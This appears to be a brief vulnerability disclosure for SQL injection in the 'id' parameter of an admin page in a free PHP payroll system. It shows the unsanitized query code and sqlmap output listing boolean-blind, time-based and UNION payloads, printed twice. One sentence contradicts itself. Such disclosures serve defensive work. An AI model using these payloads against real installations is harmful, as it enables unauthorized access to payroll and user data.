SQL injection vulnerability exists in id parameter of /admin/deduction_row.php file of Online Payroll System in PHP and MySQL Free Download A Comprehensive Guide

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
4    if(isset($_POST['id'])){
5        $id = $_POST['id'];
6        $sql = "SELECT * FROM deductions WHERE id = '$id'";
7        $query = $conn->query($sql);
```

```
POST parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 42 HTTP(s) requests:
---
Parameter: id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 5057=5057 AND 'mRQT'='mRQT

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 7145 FROM (SELECT(SLEEP(5)))Kxzs) AND 'wLJy'='wLJy

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-3615' UNION ALL SELECT NULL,CONCAT(0x71766b6a71,0x5a70414f456d6247704b56784a49
79564d78484d705973515a567457646d6f6f5646775064457a72,0x7171707a71),NULL-- -
---
```

“

Parameter: id (POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=1' AND 5057=5057 AND 'mRQT'='mRQT

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=1' AND (SELECT 7145 FROM (SELECT(SLEEP(5)))Kxzs) AND 'wLJy'='wLJy

Type: UNION query

Title: Generic UNION query (NULL) - 3 columns

Payload: id=-3615' UNION ALL SELECT NULL,CONCAT(0x71766b6a71,0x5a70414f456d6247704b56784a4979564d78484d705973515a567457646d6f6f5646775064457a72,0x7171707a71),NULL-- -

---

“

Source Download：

https://www.campcodes.com/projects/php/online-payroll-system-in-php/